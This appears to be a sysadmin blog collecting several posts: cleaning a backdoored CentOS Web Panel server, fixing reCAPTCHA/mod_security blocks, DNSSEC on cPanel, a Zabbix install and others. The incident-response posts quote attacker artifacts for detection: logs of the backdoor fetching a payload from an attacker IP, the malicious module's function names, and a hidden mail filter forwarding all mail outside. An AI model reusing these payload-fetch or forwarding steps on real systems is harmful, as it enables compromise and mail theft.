You are infected with a backdoor python script which runs as a fake ntpd process. The redirection is performed by a fake mod_auth_form.so apache module which links libcurl library.


1) Kill the ntpd service
systemctl stop ntpd
systemctl disable ntpd


2) remove /usr/bin/ntpd file


3) examine the module
search for suspicious strings inside the module

strings /usr/local/apache/modules/mod_auth_form.so | grep -i -C5 "facebook|bot|welcome|loading"


if it has strings like:
is_search_engine_bot
decoded_bot_user_agents
encoded_bot_user_agents
fetch_seo_content
seo_write_callback
decoded_default_seo_content
decoded_js_page
intercept_handler
intercept_register_hooks


it is definitely a fake module


Also a good step is to check the integrity of the rpm which installed this fake module


rpm -V cwp-httpd | grep mod_auth_form


if the result is something like
S.5....T. /usr/local/apache/modules/mod_auth_form.so


means that size, the checksum and time differ from the rpm database


4) delete the fake mod_auth_form.so module
rm -f /usr/local/apache/modules/mod_auth_form.so


or copy it to examine it further or compare it to the real mod_auth_form.so module


cp /usr/loca/apache/modules/mod_auth_form.so /root/mod_auth_form.so.suspected


5) comment the line loading it in /usr/local/apache/conf/httpd.conf
#LoadModule auth_form_module modules/mod_auth_form.so


6) restart apache
systemctl restart httpd


7) verify that the redirect no longer happens
go to facebook share debugger and hit 2 times a webpage from your server and see if this "welcome" fake page still appears or now correct metadata are read


or do a test with curl and a bot agent from cli:
curl -v --compressed -H "Range: bytes=0-524288" -H "Connection: close" -A "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "YOUR_TEST_URL"


8) if you examine /var/log/messages you will find something like the following
server cwpsrv: chmod: cannot access ‘/usr/local/apache/modules/mod_auth_form.so’: No such file or directory
server cwpsrv: --2026-07-28 17:54:58-- http://23.27.47.158:443/postmm.rar
server cwpsrv: Connecting to 23.27.47.158:443... connected.
server cwpsrv: HTTP request sent, awaiting response... 200 OK
server cwpsrv: Length: 70312 (69K) [application/vnd.rar]
server cwpsrv: Saving to: ‘/usr/local/apache/modules/mod_auth_form.so’
server cwpsrv: 0K .......... .......... .......... .......... .......... 72% 144K 0s
server cwpsrv: 50K .......... ........ 100% 278K=0.4s
server cwpsrv: 2026-07-28 17:54:58 (166 KB/s) - ‘/usr/local/apache/modules/mod_auth_form.so’ saved [70312/70312]
server cwpsrv: Syntax OK


That is the backdoor in action


And finally----------->

Upgrade cwp and apache to latest versions!


(latest apache version is not 2.4.62)
PS:

Because we do not know that this is patched (changelog is not complete), I recommend adding a password in front of your cwp root directory in nginx (cwpsrv is nginx)

Incident

Since yesterday there is an incident with google recaptcha, it is sending an api request from the browser to a relative url at /recaptcha/api2/clr instead of the normal google url and returns some kind of binary encrypted data and a 404 error may occur.

This behavior is caught by mod_security with OWASP3 920420 rule and causes firewalls like csf to block legitimate users trying to use their websites.

While there was an incident at:
https://status.cloud.google.com/incidents/MzARofVtutSd2HB5vmkT
It was for enterprise only, while all tiers of recaptcha service were affected.

My guess is that a global update to their framework regarding their new pricing policies (goodby free recaptcha) messed up everything. Nice work google!

Mitigation

For users with apache servers and mod_security you just have to add

<LocationMatch "/recaptcha/api2/clr">
    SecRuleRemoveById 949110 920420
</LocationMatch>

To your global apache conf so these to rules do not fire up for this bogus url.
Restart apache and check your firewall if it still blocks users but it shouldn't.

For users with CSF firewall, find the ips and manually unblock them after making the above change.
For example, I used an one-liner to find IP addresses from Greece where my clients are located and its result was redirected to a file lets call it gr_mods_falsep_ips.txt cat /etc/csf.deny | grep GR | awk '{print $9}' | grep -v more > /etc/csf/gr_mods_falsep_ips.txt

Then with a small bash script I unblocked them:

#!/bin/bash

if [ $# -eq 0 ]
  then
    echo "No filename provided"
    exit 1
fi

ips="$1"

while read -r line; do
   /sbin/csf -dr $line
   sleep 3
done < "$ips"

Recently I was assigned the task of installing a more recent version of nodejs on an old laptop which was running windows 7 x64.

The problem was that many packages/plugins/tools in the nodejs ecosystem had a minimum version of v14 for nodejs server and this system had the v12 installed.

Now because windows 7 was EOL'ed by MS at January 14 2020, the latest version I could find supporting windows 7 was v13.14.0, a more recent than the one installed but not the v14.

After some search I found a thread in github on the commit that made the installer deny proceeding if windows < 8.1, in which there was an environment variable I could use, the NODE_SKIP_PLATFORM_CHECK.

Unfortunately, this variable had no effect on the installer for some reason.

So I tried the old-school method of installing first the supported 13.14.0 version and then just copy-paste a more recent one the 14.17.6.

And...It worked!

So, the steps to do it are:

1) install v13.14.0 if not installed already

2) download the zipped v14.17.6 version

3) go set globally and permanently the NODE_SKIP_PLATFORM_CHECK variable with value 1 ( control panel -> system -> advanced system settings -> environment variables button )

4) close all apps/cmds that may run the node.exe executable (double check by using the windows task manager)

5) unzip the v14.17.6 and copy its contents over the contents of program files/nodejs

6) test the new version in a cmd window node --version

it should say v14.17.6

if you see "Node.js is only supported on Windows 8.1, Windows Server 2012 R2, or higher. Setting the NODE_SKIP_PLATFORM_CHECK environment variable to 1 skips this check, but Node.js might not execute correctly. Any issues encountered on unsupported platforms will not be fixed."

it means that you didn't set the environment variable or it is not applied yet.

So that's it, go on enjoy v14 on your windows 7 retro system!

There is this neat panel, CWP (CentOS Web Panel) which has all the necessary tools to run a webhost and a nice interface both for the central root panel and the user one.

One thing that it's been missing though is this: there is a website hosted in a CWP powered webhost and the owner decides to change the domain name from olddomain to newdomain.

If you are coming from other panels (e.g cpanel) you may be accustomed for this to be supported. But this is not the case with CWP (Pro edition or not).

A quick search in the forums revealed some questions posted, but the usual answer was "it is not supported".

Well enough, talking, let's see how we can do it on our own!

Important: in this scenario there were no email accounts and the webhost was running just Apache (CWP offers support for Apache, NGINX, litespeed, Apache+NGINX+Varnish).

Also important: I assume that the newdomain is already pointed to your webhost!

First things first: how does the CWP knows which user has which domain?

Apparently there is this database called "root_cwp" and in this db there is this table "user" where you can find the user account you want to change and then change the domain cell.

So:

$mysql 
$MariaDB [localhost]>USE root
$MariaDB [localhost]>UPDATE user SET `domain` = 'newdomain' WHERE `username` = 'useraccount';
$MariaDB [localhost]>quit;

Next step: Apache vhost. We have to copy the already existing vhost and change the references in it from olddomain to newdomain

cd /usr/local/apache/conf.d/vhosts/
cp olddomain.conf newdomain.conf
sed -i 's/olddomain/newdomain/g' newdomain.conf

Important: do not copy the ssl.conf because there is no ssl yet for this domain. We will generate it later after we have finished.

Next step: BIND dns zone. Copy the zone and change references again.

$cd /var/named/
$cp olddomain.db newdomain.db
$sed -i 's/olddomain/newdomain/g' newdomain.db

Next substep: inform BIND that there is a new zonefile: edit /etc/named.conf , find the lines regarding the old domain (something like this:

// zone olddomain
zone "olddomain" {type master; file "/var/named/olddomain.db";};
// zone_end olddomain

)

and change the olddomain to newdomain

Next step: restart Apache and Bind

$systemctl restart named
$systemctl restart httpd

Hopefully all went well!
Now we can go and generate our brand new ssl from the root web interface, so the necessary changes will be handled by CWP for the new ssl to work.

That's all folks!

As we all know, Cpanel supports advertises POWERDNS for DNSSEC and not BIND. While this is weird enough, I will not go into it.

Recently I had the situation where a client transferred a .com domain to a different registrar and the website pointing to it to a new server. This domain was signed and since noone knew it, I suddenly was facing a serious problem in DNS propagation.

Since google public DNS had no record of this domain, I checked what the heck was happening and yes, then I found out that it was a signed domain.

The problem had two solutions:
1) Remove the signing
2) Implement DNSSEC for this domain at the server so the chain of trust would be valid again.

Unfortunately, the support of the registrar was terrible, I kept talking to people that clearly had no expertise on the matter, probably some call support center with fixed questions/answers. If you had the time and patience, I suppose eventually they would forward your case to some technical person.

But I didn't had the time. Every day that website was down, that client lost many many euros in revenue, and the complaints where escalating by the hour.

So I thought to myself, there must be someone that did this to a cpanel server...NOT! Cpanel forums had this question and the answer was always "we do not support BIND for DNSSEC". Feature requests where left unanswered.

Well no worries, I could do it on my own!

The problem now was that I didn't want all of my zones automatically signed by BIND, but I wanted manually to do it for only one domain.

I will not go into the pitfalls I got into but, thank the eGods, BIND had EDNS support in Cpanel and CloudNS could transfer the zone along with the DNSSEC records among other things.

So, here comes the actual fun!

===== linux cli steps ====
cd /var/named

#generate the two keys we will use to sign and validate our zone (it will take a loooong time to do it without something like haveged. Check #cat /proc/sys/kernel/random/entropy_avail to see what happens to entropy availability while generating keys...)

#generate ZSK
dnssec-keygen -a RSASHA256 -b 1280 -n ZONE example.com 

#generate KSK
dnssec-keygen -a RSASHA256 -b 2048 -f KSK -n ZONE example.com

#adjust ownership and rights to the two key files we generated
chgrp named Kexample.com.+*
chmod g=r,o= Kexample.com.+*

# copy them to a safe location just in case
cp Kexample.com.+008+* /root/

#change example.com section in /etc/named.conf
zone "example.com" {
        type master;

        file  "/var/named/example.com.db.signed";

    allow-query { any; };

        # DNSSEC keys Location (we could use a separate folder here)
        key-directory "/var/named/";

        # Publish and Activate DNSSEC keys
        auto-dnssec maintain;

        # Use Inline Signing
        inline-signing yes;
};

#add to /etc/named.conf
        dnssec-enable yes;
        dnssec-validation auto;
        //dnssec-lookaside auto; //this is not valid for newer versions of BIND

        //lets setup logging for dnssec only
        channel dnssec_log {
                file "/var/log/named/dnssec.log";
                severity debug 3;
        };
        category dnssec { dnssec_log; };

#now before signing the zone, we must put the public keys into our zone file so the sign tools knows from which key to sign the zone
for key in `ls Kexample.com*.key`
do
echo "\$INCLUDE $key">> example.com.db
done

#sign the zone
dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) -N INCREMENT -o example.com -t example.com.db

#you should get something like
#Verifying the zone using the following algorithms: RSASHA256.
#Zone fully signed:
#Algorithm: RSASHA256: KSKs: 1 active, 0 stand-by, 0 revoked
#                      ZSKs: 1 active, 0 stand-by, 0 revoked
#example.com.db.signed
#Signatures generated:                       65
#Signatures retained:                         0
#Signatures dropped:                          0
#Signatures successfully verified:            0
#Signatures unsuccessfully verified:          0
#Signing time in seconds:                 0.012
#Signatures per second:                5054.039
#Runtime in seconds:                      0.019


#chmod signed zone file
chmod named.named example.db.signed

#reload bind
systemctl reload named

#ds signatures to put into registrar interface (from dsset-example.com. file created during the signing. They can be also obtained by running #dnssec-dsfromkey Kexample.com.+008+35056.key)
#example.com.        IN DS 35056 8 1 B10CCE8B8C94F46E22451F66E860B7F804D2AC69
#example.com.        IN DS 35056 8 2 296446D4769D4B38175B11ED71767483AD5BD9697AE9C1DD21A3BE9E 670D54EE


#check validation
(d=example.com; k=$(printf '%05d' "$(dig @127.0.0.1 +norecurse "$d". DNSKEY | dnssec-dsfromkey -f - "$d" | awk '{print $4;}' | sort -u)"); delv @127.0.0.1 -a <(sed -e '/^;/d;s/[ \t]\{1,\}/ /g;s/ [0-9]\{1,\} IN DNSKEY / IN DNSKEY /;s/ IN DNSKEY / /;s/^[^ ]* [^ ]* [^ ]* [^ ]* /&"/;:s;/"[^ ]*$/b t;s/\("[^ ]*\) /\1/;b s;:t;s/$/";/;H;$!d;x;s/^\n//;s/.*/trusted-keys {\n    &\n};/' /var/named/Kexample.com.+008+"$k".key) +root="$d" "$d". SOA +multiline)
; fully validated
example.com.        86400 IN SOA ns1.mainserver.com. server.mainserver.com. (
                                2022100118 ; serial
                                3600       ; refresh (1 hour)
                                1800       ; retry (30 minutes)
                                1209600    ; expire (2 weeks)
                                86400      ; minimum (1 day)
                                )
example.com.        86400 IN RRSIG SOA 8 2 86400 (
                                20221101074125 20221002064125 60423 example.com.
                                BUoM4IHVFuL7JhkLkRQeR7xgBHmqo1D+GJStYvfumCrZ
                                km+qAm2HtysnrW+Ug+orWA6fURF2tgY9UkTrPPuLpUlX
                                ExPanItTqrDqWghIA1lFHs28e9DiBNQgv3WByRinfYvF
                                C7o0UpzaXCMppsWisbD50xXlGvcrsCxiXoDxgpiJ+O3p
                                WlIc4hYdolcN2z4o+UoPsSTVOZTj9fBSzRB63w== )

Two excellent tools to use for checking DNS status and the chain of trust are:

https://dnsviz.net/

and

https://dnssec-analyzer.verisignlabs.com/

Recently I faced a problem with a vps in which the autossl did not wanted to generate a request for the vps's hostname.

After cleaning crap off the apropriate dns zone and after fixing an ns record pointing to a non-functioning dns server I thought yeah we're good to go!

But cpanel had other plans...no certificate AGAIN and /usr/local/cpanel/bin/checkallsslcerts gave me a weird error: [WARN] The system failed to acquire a signed certificate from the cPanel Store. at bin/checkallsslcerts.pl line 653.

Putting aside that there is NO such Perl file, it came to me that maybe because of the wrong NS record along with other crap I found, there is a certificate CSR for the hostname left over and cpanel did not erase it for some reason.

And yes, there is one in /var/cpanel/hostname_cert_csrs.

Removed it and now checkallsslcerts.pl runs without an error.

Or does it?? Now throws a subtle [Note] (why??) that the hostname isn't covered by any of the subdomains

Finally, the solution was mv /var/cpanel/hostname_cert_csrs{,.cpbkp} -v

For some reason the whole directory should be backup up and then the checkallsslcert will run correctly issuing a certificate for the hostname!

Yesterday, I tried to install drush through composer to manage an old Drupal installation:

composer require
search package drush
version constraint 7.4.0

I faced the following error:

                       
  [ErrorException]          
  Undefined index: process  

It seems that composer is trying to use a php function which I have disabled for obvious security reasong: proc_open.

Since I could not enable it again, I had to devise a different approach.

1) make a new composer.php.ini

[php]
memory_limit = 4096M
max_execution_time = 0
date.timezone = "Europe/Athens"
realpath_cache_size = "4096K"

2) tell php to use it and add neccesary extensions in an one liner

php -n -d extension=phar.so -d extension=json.so -d extension=mbstring.so -c /home/user/composer.php.ini /opt/composer/bin/composer require
Problem solved!

For some reason, dell has abandoned debian since the 8 version (jessie).

No one knows why, but don't despair, there is a solution: install it for ubuntu!

Yup since ubuntu is a frozen debian, it should be possible to install omsa from there.

Let's see how:

1) Install dell ubuntu based repository

$ echo 'deb http://linux.dell.com/repo/community/openmanage/930/bionic bionic main' | sudo tee -a /etc/apt/sources.list.d/linux.dell.com.sources.list

2) Get and install gpg keys for it $ wget https://linux.dell.com/repo/pgp_pubkeys/0x1285491434D8786F.asc

$ apt-key add 0x1285491434D8786F.asc

3) $ apt update

4) Install missing dependancies: wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/libwsman-curl-client-transport1_2.6.5-0ubuntu3_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/libwsman-client4_2.6.5-0ubuntu3_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/libwsman1_2.6.5-0ubuntu3_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/libwsman-server1_2.6.5-0ubuntu3_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/s/sblim-sfcc/libcimcclient0_2.2.8-0ubuntu2_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/openwsman_2.6.5-0ubuntu3_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/multiverse/c/cim-schema/cim-schema_2.48.0-0ubuntu1_all.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/s/sblim-sfc-common/libsfcutil0_1.0.1-0ubuntu4_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/multiverse/s/sblim-sfcb/sfcb_1.4.9-0ubuntu5_amd64.deb wget http://archive.ubuntu.com/ubuntu/pool/universe/s/sblim-cmpi-devel/libcmpicppimpl0_2.0.3-0ubuntu2_amd64.deb

dpkg -i libwsman-curl-client-transport1_2.6.5-0ubuntu3_amd64.deb dpkg -i libwsman-client4_2.6.5-0ubuntu3_amd64.deb dpkg -i libwsman1_2.6.5-0ubuntu3_amd64.deb dpkg -i libwsman-server1_2.6.5-0ubuntu3_amd64.deb dpkg -i libcimcclient0_2.2.8-0ubuntu2_amd64.deb dpkg -i openwsman_2.6.5-0ubuntu3_amd64.deb dpkg -i cim-schema_2.48.0-0ubuntu1_all.deb dpkg -i libsfcutil0_1.0.1-0ubuntu4_amd64.deb dpkg -i sfcb_1.4.9-0ubuntu5_amd64.deb dpkg -i libcmpicppimpl0_2.0.3-0ubuntu2_amd64.deb

5) Install these packages to avoid errors and for oemreport

$ apt install libncurses5 libcurl4-openssl-dev

6) Install omsa

$ apt install srvadmin-all

7) Tell omsa to not check our servers generation: $ touch /opt/dell/srvadmin/lib64/openmanage/IGNORE_GENERATION

8) Test command to retrieve your physical disk info: $ /opt/dell/srvadmin/bin/omreport storage pdisk controller=0

If all went smooth you will see a list of the physical disks attached to your controller!

-- Info from various posts on reddit, proxmox forum, dell website and experimentation!

Well I had this old monitoring VM that needed to go from a nagios based monitoring to a zabbix based one.

1) OS UPDATE

The first culprit was that centos 6 was EOL forever and many things didn't work or needed some kind of fix.

Well this thing was stuck now at 6.6 centos. Since ver 6 is EOL, we have to use vault repos to update to latest 6 sources

So lets change the base repo contents with these: [C6.10-base] name=CentOS-6.10 - Base baseurl=http://vault.centos.org/6.10/os/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-updates] name=CentOS-6.10 - Updates baseurl=http://vault.centos.org/6.10/updates/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-extras] name=CentOS-6.10 - Extras baseurl=http://vault.centos.org/6.10/extras/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-contrib] name=CentOS-6.10 - Contrib baseurl=http://vault.centos.org/6.10/contrib/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=0 metadata_expire=never [C6.10-centosplus] name=CentOS-6.10 - CentOSPlus baseurl=http://vault.centos.org/6.10/centosplus/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=0 metadata_expire=never

before doing anything else lets grub the EPEL repo for this centos rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org rpm -Uvh https://www.elrepo.org/elrepo-release-6-10.el6.elrepo.noarch.rpm yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm

now lets update stuff

yum clean && yum update

ok now we have updated our system in the latest possible software

2) PHP VERSION

The second culprit was that zabbix frontend requires php 5.4 and up, but centos 6 has 5.3.3 We will not use remi repos here, they are not complete and noone knows how long will support this centos version Instead...lets install php from source! yeaaahh :P

• install required packages for compilation yum install autoconf libtool re2c bison libxml2-devel bzip2-devel libcurl-devel libpng-devel libicu-devel gcc-c++ libmcrypt-devel libwebp-devel libjpeg-devel openssl-devel libxslt-devel -y

• grub php 5.6.40 (latest php 5.6) and untar/unzip the contents curl -O -L https://github.com/php/php-src/archive/php-5.6.40.tar.gz

tar -xvf php-5.6.40.tar.gz cd php-src-php-5.6.40/

now lets compile php

./buildconf --force

after we buildconf, we can customize with what we want to compile php. See ./configure --help about that to satisfy your needs

lets continue with our config ./configure --prefix=/usr/local/php56 --with-apxs2=/usr/sbin/apxs --with-freetype-dir=/usr/include/freetype2 --disable-short-tags --enable-xml --enable-cli --with-openssl --with-pcre-regex --with-pcre-jit --with-zlib --enable-bcmath --with-bz2 --with-curl --enable-exif --with-gd --enable-intl --with-mysqli --enable-pcntl --with-pdo-mysql --enable-soap --enable-sockets --with-xmlrpc --enable-zip --with-webp-dir --with-jpeg-dir --with-png-dir --enable-json --enable-hash --enable-mbstring --with-mcrypt --enable-libxml --with-libxml-dir --enable-ctype --enable-calendar --enable-dom --enable-fileinfo --with-mhash --with-incov --enable-opcache --enable-phar --enable-simplexml --with-xsl --with-pear

oops error, apxs what? (used to build to apache php module) install httpd-devel

yum install httpd-devel

ok lets run again the above aaand... oops error, freetype something... ok install freetype-devel yum install freetype-devel

finally we move on make clean make make test make install

(make test will execute maaany tests. Probably will fail in some and will ask you to submit a report to php devs)

copy development php.ini to our new shine php 5.6 install cp php.ini-development /usr/local/php56/lib/php.ini

edit it and change max_execution_time, max_post_size max_upload_size etc to what zabbix expects (16MB for post, upload, 300 for execution time) also change date.timezone to your timezone

3) A NEWER MYSQL

Fortunately we can install a recent mysql , not that archaic 5.1 that comes with centos 6.

Let's install mysql community edition 8 !

rpm -ivh https://dev.mysql.com/get/mysql80-community-release-el6-1.noarch.rpm yum update yum install mysql-community-server service mysqld start

Well..that was it...

4) ZABBIX INSTALLATION

By now I think I have setup my weird environment, so it is time to install zabbix!

rpm -Uvh https://repo.zabbix.com/zabbix/4.2/rhel/6/x86_64/zabbix-release-4.2-2.el6.noarch.rpm yum install zabbix-server-mysql zabbix-web-mysql zabbix-agent

Now lets copy the apache configuration file from the docs of zabbix

cp /usr/share/doc/zabbix-web-*/httpd22-example.conf /etc/httpd/conf.d/zabbix.conf

Edit the configuration file to update the timezone to something like php_value date.timezone Europe/Athens

vi /etc/httpd/conf.d/zabbix.conf

Ok now we can create the zabbix database mysql -u root -p

oops...mysql root user already has a password set? Hmmm it seems that although I didn't run the mysql_secure_installation utility, mysql installation has set some root pass. Where can it be..maybe in /var/log/mysql.log

grep 'temporary password' /var/log/mysqld.log

and yes there was a temporary password set. I think it is a good time to run the mysql secure utility , set a new pass (the temp was expired anyway) and answer "Y" at the security options.

After that I can login to mysql to create zabbix database.

create database zabbix_db character set utf8 collate utf8_bin; GRANT ALL ON zabbix_db.* TO zabbix_dbuser@localhost IDENTIFIED BY 'some_decent_password_folks'; quit;

We can import the db schema like this cd /usr/share/doc/zabbix-server-mysql*/ zcat create.sql.gz | mysql -u zabbix_dbuser -p zabbix_db

After creating the db, update the zabbix_server.conf file with our new database, user and creds.

Ok I am ready to start everything and make them start on boot also, so lets do it service zabbix-server start service zabbix-agent start service httpd start chkconfig zabbix-server on chkconfig zabbix-agent on chkconfig httpd on chkconfig mysqld on

Now that everything is up, I'll visit our new and polished web interface to finalize setup http://mydomain.tld/zabbix/

and ofcourse..another error at the database step: Error connecting to database: No such file or directory

Wait ... zabbix web interface cannot find the mysql socket file? Let's try 127.0.0.1 instead of localhost...

...aaaand yet another error but predictable this time: Error connecting to database: Server sent charset unknown to the client. Please, report to the developers

It seems that mysql 8 has default charset "utfmb8" and that old zabbix doesn't know this. This is easily fixable though, just put these is /etc/my.cnf (if there isn't one, make it)

[client] default-character-set=utf8 [mysql] default-character-set=utf8 [mysqld] collation-server = utf8_unicode_ci character-set-server = utf8 default_authentication_plugin = mysql_native_password

Restart mysqld service and this error is gone.

So, this took forever, but it is over. Or not? Wait..there is a newer version that I can use.. zabbix 4.4 which has the newer agent2.I SHOULD DO AN UPGRADE!! Oh well that is easy, install the newer rpm release and upgrade. Right? RIGHT?

rpm -Uvh https://repo.zabbix.com/zabbix/4.4/rhel/6/i686/zabbix-release-4.4-1.el6.noarch.rpm yum clean yum upgrade

aaand..no offer for zabbix updates other than the agent. This sucks, but lets see, where is the packages I want? Yum says nowhere but looking at the online repository I found that they are moved to the "deprecated" sub-repo.

https://repo.zabbix.com/zabbix/4.4/rhel/6/i386/deprecated/

Ok but why I don't see them? That's because this subrepo is disabled in the zabbix yum repo file

[zabbix-deprecated] name=Zabbix Official Repository deprecated - $basearch baseurl=http://repo.zabbix.com/zabbix/4.4/rhel/6/$basearch/deprecated enabled=0

Enabled this, and now I got the binaries I need for the upgrade to go smoothly.

Let's visit the web interface to confirm everything works ok and the newer version at the bottom should say 4.4.10 instead of 4.2.8, and yes ANOTHER error because the database is older than the just upgraded zabbix.

It seems that I forgot to start the services I stopped :P and after the upgrade when the zabbix-server process starts, it checks the db and if it finds it outdate, and update begins and after a couple of minutes the interface was back online!

Now that everything is in order, just two more things:

• If you use a firewall, you should open some necessary ports for zabbix and apache. I don't know what you use so I'll just throw some generic iptables: iptables -I INPUT -p tcp -m tcp --dport 10051 -j ACCEPT iptables -I INPUT -p tcp -m tcp --dport 10050 -j ACCEPT iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT /etc/init.d/iptables save

• If you have another php installed (maybe the default 5.3.3) you can use the 5.6.40 from a .htaccess file at /usr/share/zabbix/ (make it if it is not there) like this:

AddHandler application/x-httpd-php56 .php .php5 .phtml
Wish me happy monitoring!

Σας ειδοποιεί κάποιος πελάτης που βρίσκεται σε cpanel shared hosting πως του έρχονται συχνά-πυκνά emails που του λένε πως δεν παραδόθηκε το mail σε κάποια άγνωστη διεύθυνση.

Ο λόγος που μπορεί να συμβαίνει αυτό είναι αν κάπως κάπου έχει μπει στο account ένας άγνωστος forwarder που δεν έχει βάλει κάνεις. Το πως μπήκε εκεί μπορεί να είναι από hacked server, hacked cpanel account, hacked pc του πελάτη που μπαίνει από το webmail.

Τα παρακάτω βήματα είναι για να δούμε αν όντως πρόκειται για μια τέτοια περίπτωση:

1) check email forwarders από το cpanel account

2) check email filters

Αχα! Ενα mail filter με την ονομασία "." ώστε να μην το προσέξει κάποιος, είχε βάλει έναν forwarder στο email του πελάτη.

Mystery Solved!

Η φυσική τοποθεσία του φίλτρου ήταν στο: /home/user/etc/domain.tld/emailuser/filter.yaml

Περιεχόμενα του φίλτρου:

filter:
  -
    actions:
      -
        action: deliver
        dest: bogus@host.tld
      -
        action: save
        dest: $home/mail/user/info/INBOX
    filtername: .
    rules:
      -
        match: contains
        opt: or
        part: "$header_from:"
        val: "@"
    unescaped: 1
version: '2.2'